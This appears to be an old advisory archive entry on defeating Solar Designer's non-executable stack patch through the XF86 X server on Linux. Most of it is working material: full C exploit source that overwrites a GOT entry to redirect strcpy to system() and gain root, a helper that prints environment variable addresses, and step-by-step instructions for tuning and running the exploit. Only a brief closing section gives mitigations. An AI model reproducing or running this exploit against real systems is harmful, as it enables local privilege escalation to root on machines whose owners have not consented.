COMMAND
XF86 Xserver
SYSTEMS AFFECTED
Linux
PROBLEM
Remember lpr #5 or xrm exploit on Linux page (Security Bugware).
It was Solar Designer's piece of work and as fix he gave
non-executable stack patch. Rafal Wojtczuk posted following on
subject of defeating Solar Designer non-executable stack patch
(and making exploits). Note that whole message will not be
presented here (check http://www.geek-girl.com/bugtraq/ for more).
This is second part that started with Server #1.
We will fill a buffer with a pattern:
-----------------------------------------
| STRCPY | STRCPY | PLTENT-offset | SRC |
-----------------------------------------
STRCPY is again a PLT entry for strcpy, PLTENT is an address of
integer in GOT referenced by strcpy PLT entry and SRC is a pointer
into env variable.
How does it work ? We need to hit return placeholder with first
STRCPY. SRC contents will overwrite GOT entry so that it will
contain address of libc "system" procedure. Second return into
STRCPY will execute "system" (because instruction jmp *gotentry
references place in memory we have just altered) with argument
SRC. Well, extreme precision is required here, because we
overwrite linker vital internal structures. First, SRC has to be a
valid filename (starting with /tmp/xxxx, for instance). SRC's last
3 bytes must be the lowest 3 bytes of "system" procedure address.
Zero terminating SRC will complete the address. Second, we need
the exact address of SRC - src=&src certainly will not suffice.
So,we start gathering info. We already have STRCPY; to obtain GOT
integer, we need to disass strcpy with gdb. From /proc/pid/maps we
can extract address where libc is mapped; to compute "system"
addres, we need to add its offset in libc.
$ nm /lib/libc.so.5.3.12 | grep system
0007ec7c T svcerr_systemerr
00081d7c T system <---- that's the number we need
Now we compile the following code (remember, /tmp/qq is a prog
that makes a setuid shell or anything you find useful to do with
euid 0).
/*
Exploit no 2 for Solar Designer patch
by nergal@icm.edu.pl
This code is meant for educational and entertaining purposes only.
You can distribute it freely provided credits are given.
*/
#include <stdio.h>
#define BUFFER_SIZE 370
#define EGG_SIZE 100
#define STRCPY 0x08066a18
#define PLTENT 0x0822f924
#define SYSTEM (0x00123000+0x81d7c)
#define SRC 0xbfffffe6
char buf[BUFFER_SIZE];
char egg[EGG_SIZE];
char pattern[16];
char prefix[] = "/tmp/xxxxxxx";
char path[200];
char command[200];
void main(int argc, char **argv)
{
int i, align = 3;
char *envs[2] = {egg, 0};
if (argc == 2)
align = atoi(argv[1]);
*(int *) pattern = STRCPY;
*(int *) (pattern + 4) = STRCPY;
*(int *) (pattern + 8) = PLTENT - strlen(prefix);
*(int *) (pattern + 12) = SRC;
for (i = 0; i <= 15; i++)
if (pattern[i] == 0) {
printf("zero in pattern (%i)\n", i);
exit(1);
}
if (!(SYSTEM & 0x00ff0000) || !(SYSTEM & 0x0000ff00) || !(SYSTEM & 0x000000ff)) {
printf("zero in system\n");
exit(1);
}
memset(buf, ' ', BUFFER_SIZE);
buf[BUFFER_SIZE - 1] = 0;
buf[0] = ':';
buf[1] = '9';
for (i = align; i < BUFFER_SIZE - 16; i += 16)
memcpy(buf + i, pattern, 16);
strcpy(path, prefix);
*(int *) (path + strlen(path)) = SYSTEM;
sprintf(egg, "EGG=%s", path);
sprintf(command, "cp /tmp/qq %s", path);
system(command);
execle("./qwe", "X", buf, "-nolock", 0, envs);
perror("execl");
}
You've read the code? Wonder what ./qwe is for? Right. Remember
we need exact address of /tmp/xxxxxxxsomething in memory. So,
first make ./qwe a symlink to the following program:
/*
envi.c - displays addresses of all env variables
*/
#include <stdio.h>
extern char ** environ;
main()
{
char ** p=environ;
printf("environ=0x%x\n",p);
while (*p)
{
printf("0x%x %s\n",*p,*p);
p++;
}
}
Note down address of /tmp/xxxxsomething in EGG variable (NOT
address of EGG=..., but address of /tmp/xxxx...; you must add
strlen("EGG=") to the number envi.c produces ). Correct the value
of SRC in exploit. Than make ./qwe symlink to /usr/X11R6/bin/X
and run exploit again.
SOLUTION
Well, if
a) we can protect data segments from being executed
b) we force LD_BIND_NOW - like dynamic linking, which enables
us to mprotect GOT non-writable
exploit will fail.